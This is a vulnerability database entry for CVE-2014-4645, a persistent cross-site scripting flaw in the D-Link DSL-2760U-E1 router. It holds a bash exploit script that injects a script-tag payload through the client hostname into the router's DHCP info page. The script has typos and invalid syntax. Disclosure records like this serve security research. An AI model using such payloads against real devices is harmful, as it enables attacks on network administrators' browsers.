Sign-up

ID

VAR-E-201406-0044


CVE

cve_id:CVE-2014-4645

Trust: 1.9

sources: BID: 68144 // EXPLOIT-DB: 33822 // EDBNET: 55236

EDB ID

33822


TITLE

D-Link DSL-2760U-E1 - Persistent Cross-Site Scripting - Hardware webapps Exploit

Trust: 0.6

sources: EXPLOIT-DB: 33822

DESCRIPTION

D-Link DSL-2760U-E1 - Persistent Cross-Site Scripting. CVE-108356CVE-2014-4645 . webapps exploit for Hardware platform

Trust: 0.6

sources: EXPLOIT-DB: 33822

AFFECTED PRODUCTS

vendor:d linkmodel:dsl-2760u-e1scope: - version: -

Trust: 1.6

sources: EXPLOIT-DB: 33822 // EDBNET: 55236

EXPLOIT

#!/bin/bash

# Written and discovered by Yuval tisf Nativ
# The page 'dhcpinfo.html' will list all machines connected to the network with hostname,
# IP, MAC and IP expiration. It is possible to store an XSS in this table by changing hostname.

# Checks if you are root
if [ "$(id -u)" != "0" ]; then
echo "Please execute this script as root"
exit 1
fi

# You're XSS here
xss = "\"<script>alert('pwned');</script>"

# backup current hostname
currhost = `hostname`

# Bannering
echo ""
echo " D-Link Persistent XSS by tisf"
echo ""
echo "The page dhcpinfo.html is the vulnerable page."
echo "Ask the user to access it and your persistent XSS will be triggered."
echo ""

# Change hostname to XSS
sudo hosname $xss

# Restore previous hostname on exit
pause "Type any key to exit and restore your previous hostname."
sudo hostname $currhost

Trust: 1.0

sources: EXPLOIT-DB: 33822

EXPLOIT LANGUAGE

sh

Trust: 0.6

sources: EXPLOIT-DB: 33822

PRICE

free

Trust: 0.6

sources: EXPLOIT-DB: 33822

TYPE

Persistent Cross-Site Scripting

Trust: 1.0

sources: EXPLOIT-DB: 33822

CREDITS

Yuval tisf Nativ

Trust: 0.6

sources: EXPLOIT-DB: 33822

EXTERNAL IDS

db:NVDid:CVE-2014-4645

Trust: 1.9

db:EXPLOIT-DBid:33822

Trust: 1.6

db:EDBNETid:55236

Trust: 0.6

db:BIDid:68144

Trust: 0.3

sources: BID: 68144 // EXPLOIT-DB: 33822 // EDBNET: 55236

REFERENCES

url:https://nvd.nist.gov/vuln/detail/cve-2014-4645

Trust: 1.6

url:https://www.exploit-db.com/exploits/33822/

Trust: 0.6

url:http://www.dlink.com/

Trust: 0.3

sources: BID: 68144 // EXPLOIT-DB: 33822 // EDBNET: 55236

SOURCES

db:BIDid:68144
db:EXPLOIT-DBid:33822
db:EDBNETid:55236

LAST UPDATE DATE

2022-07-27T09:40:20.713000+00:00


SOURCES UPDATE DATE

db:BIDid:68144date:2014-06-26T14:34:00

SOURCES RELEASE DATE

db:BIDid:68144date:2014-06-23T00:00:00
db:EXPLOIT-DBid:33822date:2014-06-21T00:00:00
db:EDBNETid:55236date:2014-06-21T00:00:00